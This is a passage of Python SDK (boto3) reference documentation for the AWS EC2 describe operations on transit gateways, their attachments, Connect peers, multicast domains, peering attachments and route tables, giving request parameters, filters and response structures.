Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentIds** (_list_) -- + + The IDs of the attachments. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * association.state - The state of the association (associating | associated | disassociating ). + * association.transit-gateway-route-table-id - The ID of the route table for the transit gateway. + * resource-id - The ID of the resource. + * resource-owner-id - The ID of the AWS account that owns the resource. + * resource-type - The resource type. Valid values are vpc | vpn | direct-connect-gateway | peering | connect . + * state - The state of the attachment. Valid values are available | deleted | deleting | failed | failing | initiatingRequest | modifying | pendingAcceptance | pending | rollingBack | rejected | rejecting . + * transit-gateway-attachment-id - The ID of the attachment. + * transit-gateway-id - The ID of the transit gateway. + * transit-gateway-owner-id - The ID of the AWS account that owns the transit gateway. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayAttachments': [ + { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'TransitGatewayOwnerId': 'string', + 'ResourceOwnerId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'Association': { + 'TransitGatewayRouteTableId': 'string', + 'State': 'associating'|'associated'|'disassociating'|'disassociated' + }, + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayAttachments** _(list) --_ + + Information about the attachments. + + * _(dict) --_ + + Describes an attachment between a resource and a transit gateway. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **TransitGatewayOwnerId** _(string) --_ + + The ID of the AWS account that owns the transit gateway. + + * **ResourceOwnerId** _(string) --_ + + The ID of the AWS account that owns the resource. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **State** _(string) --_ + + The attachment state. Note that the initiating state has been deprecated. + + * **Association** _(dict) --_ + + The association. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the route table for the transit gateway. + + * **State** _(string) --_ + + The state of the association. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Tags** _(list) --_ + + The tags for the attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_transit_gateway_connect_peers(kwargs_) + +Describes one or more Connect peers. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayConnectPeers) + +**Request Syntax** + +response = client.describe_transit_gateway_connect_peers( + TransitGatewayConnectPeerIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayConnectPeerIds** (_list_) -- + + The IDs of the Connect peers. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * state - The state of the Connect peer (pending | available | deleting | deleted ). + * transit-gateway-attachment-id - The ID of the attachment. + * transit-gateway-connect-peer-id - The ID of the Connect peer. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayConnectPeers': [ + { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayConnectPeerId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'CreationTime': datetime(2015, 1, 1), + 'ConnectPeerConfiguration': { + 'TransitGatewayAddress': 'string', + 'PeerAddress': 'string', + 'InsideCidrBlocks': [ + 'string', + ], + 'Protocol': 'gre', + 'BgpConfigurations': [ + { + 'TransitGatewayAsn': 123, + 'PeerAsn': 123, + 'TransitGatewayAddress': 'string', + 'PeerAddress': 'string', + 'BgpStatus': 'up'|'down' + }, + ] + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayConnectPeers** _(list) --_ + + Information about the Connect peers. + + * _(dict) --_ + + Describes a transit gateway Connect peer. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the Connect attachment. + + * **TransitGatewayConnectPeerId** _(string) --_ + + The ID of the Connect peer. + + * **State** _(string) --_ + + The state of the Connect peer. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **ConnectPeerConfiguration** _(dict) --_ + + The Connect peer details. + + * **TransitGatewayAddress** _(string) --_ + + The Connect peer IP address on the transit gateway side of the tunnel. + + * **PeerAddress** _(string) --_ + + The Connect peer IP address on the appliance side of the tunnel. + + * **InsideCidrBlocks** _(list) --_ + + The range of interior BGP peer IP addresses. + + * _(string) --_ + * **Protocol** _(string) --_ + + The tunnel protocol. + + * **BgpConfigurations** _(list) --_ + + The BGP configuration details. + + * _(dict) --_ + + The BGP configuration information. + + * **TransitGatewayAsn** _(integer) --_ + + The transit gateway Autonomous System Number (ASN). + + * **PeerAsn** _(integer) --_ + + The peer Autonomous System Number (ASN). + + * **TransitGatewayAddress** _(string) --_ + + The interior BGP peer IP address for the transit gateway. + + * **PeerAddress** _(string) --_ + + The interior BGP peer IP address for the appliance. + + * **BgpStatus** _(string) --_ + + The BGP status. + + * **Tags** _(list) --_ + + The tags for the Connect peer. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_transit_gateway_connects(kwargs_) + +Describes one or more Connect attachments. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayConnects) + +**Request Syntax** + +response = client.describe_transit_gateway_connects( + TransitGatewayAttachmentIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentIds** (_list_) -- + + The IDs of the attachments. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * options.protocol - The tunnel protocol (gre ). + * state - The state of the attachment (initiating | initiatingRequest | pendingAcceptance | rollingBack | pending | available | modifying | deleting | deleted | failed | rejected | rejecting | failing ). + * transit-gateway-attachment-id - The ID of the Connect attachment. + * transit-gateway-id - The ID of the transit gateway. + * transport-transit-gateway-attachment-id - The ID of the transit gateway attachment from which the Connect attachment was created. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayConnects': [ + { + 'TransitGatewayAttachmentId': 'string', + 'TransportTransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'Protocol': 'gre' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayConnects** _(list) --_ + + Information about the Connect attachments. + + * _(dict) --_ + + Describes a transit gateway Connect attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the Connect attachment. + + * **TransportTransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment from which the Connect attachment was created. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **State** _(string) --_ + + The state of the attachment. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The Connect attachment options. + + * **Protocol** _(string) --_ + + The tunnel protocol. + + * **Tags** _(list) --_ + + The tags for the attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_transit_gateway_multicast_domains(kwargs_) + +Describes one or more transit gateway multicast domains. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayMulticastDomains) + +**Request Syntax** + +response = client.describe_transit_gateway_multicast_domains( + TransitGatewayMulticastDomainIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainIds** (_list_) -- + + The ID of the transit gateway multicast domain. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * state - The state of the transit gateway multicast domain. Valid values are pending | available | deleting | deleted . + * transit-gateway-id - The ID of the transit gateway. + * transit-gateway-multicast-domain-id - The ID of the transit gateway multicast domain. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayMulticastDomains': [ + { + 'TransitGatewayMulticastDomainId': 'string', + 'TransitGatewayId': 'string', + 'TransitGatewayMulticastDomainArn': 'string', + 'OwnerId': 'string', + 'Options': { + 'Igmpv2Support': 'enable'|'disable', + 'StaticSourcesSupport': 'enable'|'disable', + 'AutoAcceptSharedAssociations': 'enable'|'disable' + }, + 'State': 'pending'|'available'|'deleting'|'deleted', + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayMulticastDomains** _(list) --_ + + Information about the transit gateway multicast domains. + + * _(dict) --_ + + Describes the transit gateway multicast domain. + + * **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **TransitGatewayMulticastDomainArn** _(string) --_ + + The Amazon Resource Name (ARN) of the transit gateway multicast domain. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the transit gateway multiicast domain. + + * **Options** _(dict) --_ + + The options for the transit gateway multicast domain. + + * **Igmpv2Support** _(string) --_ + + Indicates whether Internet Group Management Protocol (IGMP) version 2 is turned on for the transit gateway multicast domain. + + * **StaticSourcesSupport** _(string) --_ + + Indicates whether support for statically configuring transit gateway multicast group sources is turned on. + + * **AutoAcceptSharedAssociations** _(string) --_ + + Indicates whether to automatically cross-account subnet associations that are associated with the transit gateway multicast domain. + + * **State** _(string) --_ + + The state of the transit gateway multicast domain. + + * **CreationTime** _(datetime) --_ + + The time the transit gateway multicast domain was created. + + * **Tags** _(list) --_ + + The tags for the transit gateway multicast domain. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_transit_gateway_peering_attachments(kwargs_) + +Describes your transit gateway peering attachments. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayPeeringAttachments) + +**Request Syntax** + +response = client.describe_transit_gateway_peering_attachments( + TransitGatewayAttachmentIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentIds** (_list_) -- + + One or more IDs of the transit gateway peering attachments. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * transit-gateway-attachment-id - The ID of the transit gateway attachment. + * local-owner-id - The ID of your AWS account. + * remote-owner-id - The ID of the AWS account in the remote Region that owns the transit gateway. + * state - The state of the peering attachment. Valid values are available | deleted | deleting | failed | failing | initiatingRequest | modifying | pendingAcceptance | pending | rollingBack | rejected | rejecting ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + * transit-gateway-id - The ID of the transit gateway. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayPeeringAttachments': [ + { + 'TransitGatewayAttachmentId': 'string', + 'RequesterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'AccepterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'string', + 'Message': 'string' + }, + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayPeeringAttachments** _(list) --_ + + The transit gateway peering attachments. + + * _(dict) --_ + + Describes the transit gateway peering attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway peering attachment. + + * **RequesterTgwInfo** _(dict) --_ + + Information about the requester transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + * **Region** _(string) --_ + + The Region of the transit gateway. + + * **AccepterTgwInfo** _(dict) --_ + + Information about the accepter transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + * **Region** _(string) --_ + + The Region of the transit gateway. + + * **Status** _(dict) --_ + + The status of the transit gateway peering attachment. + + * **Code** _(string) --_ + + The status code. + + * **Message** _(string) --_ + + The status message, if applicable. + + * **State** _(string) --_ + + The state of the transit gateway peering attachment. Note that the initiating state has been deprecated. + + * **CreationTime** _(datetime) --_ + + The time the transit gateway peering attachment was created. + + * **Tags** _(list) --_ + + The tags for the transit gateway peering attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_transit_gateway_route_tables(kwargs_) + +Describes one or more transit gateway route tables. By default, all transit gateway route tables are described. Alternatively, you can filter the results. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayRouteTables) + +**Request Syntax** + +response = client.describe_transit_gateway_route_tables( + TransitGatewayRouteTableIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableIds** (_list_) -- + + The IDs of the transit gateway route tables. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * default-association-route-table - Indicates whether this is the default association route table for the transit gateway (true | false ). + * default-propagation-route-table - Indicates whether this is the default propagation route table for the transit gateway (true | false ). + * state - The state of the route table (available | deleting | deleted | pending ). + * transit-gateway-id - The ID of the transit gateway. + * transit-gateway-route-table-id - The ID of the transit gateway route table. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayRouteTables': [ + { + 'TransitGatewayRouteTableId': 'string', + 'TransitGatewayId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'DefaultAssociationRouteTable': True|False, + 'DefaultPropagationRouteTable': True|False, + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayRouteTables** _(list) --_ + + Information about the transit gateway route tables. + + * _(dict) --_ + + Describes a transit gateway route table. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **State** _(string) --_ + + The state of the transit gateway route table. + + * **DefaultAssociationRouteTable** _(boolean) --_ + + Indicates whether this is the default association route table for the transit gateway. + + * **DefaultPropagationRouteTable** _(boolean) --_ + + Indicates whether this is the default propagation route table for the transit gateway. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Tags** _(list) --_ + + Any tags assigned to the route table. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_transit_gateway_vpc_attachments(kwargs_) + +Describes one or more VPC attachments. By default, all VPC attachments are described. Alternatively, you can filter the results. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayVpcAttachments) + +**Request Syntax** + +response = client.describe_transit_gateway_vpc_attachments( + TransitGatewayAttachmentIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentIds** (_list_) -- + + The IDs of the attachments. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * state - The state of the attachment. Valid values are available | deleted | deleting | failed | failing | initiatingRequest | modifying | pendingAcceptance | pending | rollingBack | rejected | rejecting . + * transit-gateway-attachment-id - The ID of the attachment. + * transit-gateway-id - The ID of the transit gateway. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayVpcAttachments': [ + { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'VpcId': 'string', + 'VpcOwnerId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'SubnetIds': [ + 'string', + ], + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'DnsSupport': 'enable'|'disable', + 'Ipv6Support': 'enable'|'disable', + 'ApplianceModeSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayVpcAttachments** _(list) --_ + + Information about the VPC attachments. + + * _(dict) --_ + + Describes a VPC attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **VpcOwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC. + + * **State** _(string) --_ + + The state of the VPC attachment. Note that the initiating state has been deprecated. + + * **SubnetIds** _(list) --_ + + The IDs of the subnets. + + * _(string) --_ + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The VPC attachment options. + + * **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + * **Ipv6Support** _(string) --_ + + Indicates whether IPv6 support is disabled. + + * **ApplianceModeSupport** _(string) --_ + + Indicates whether appliance mode support is enabled. + + * **Tags** _(list) --_ + + The tags for the VPC attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_transit_gateways(kwargs_) + +Describes one or more transit gateways. By default, all transit gateways are described. Alternatively, you can filter the results. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGateways) + +**Request Syntax** + +response = client.describe_transit_gateways( + TransitGatewayIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayIds** (_list_) -- + + The IDs of the transit gateways. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * options.propagation-default-route-table-id - The ID of the default propagation route table. + * options.amazon-side-asn - The private ASN for the Amazon side of a BGP session. + * options.association-default-route-table-id - The ID of the default association route table. + * options.auto-accept-shared-attachments - Indicates whether there is automatic acceptance of attachment requests (enable | disable ). + * options.default-route-table-association - Indicates whether resource attachments are automatically associated with the default association route table (enable | disable ). + * options.default-route-table-propagation - Indicates whether resource attachments automatically propagate routes to the default propagation route table (enable | disable ). + * options.dns-support - Indicates whether DNS support is enabled (enable | disable ). + * options.vpn-ecmp-support - Indicates whether Equal Cost Multipath Protocol support is enabled (enable | disable ). + * owner-id - The ID of the AWS account that owns the transit gateway. + * state - The state of the transit gateway (available | deleted | deleting | modifying | pending ). + * transit-gateway-id - The ID of the transit gateway. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 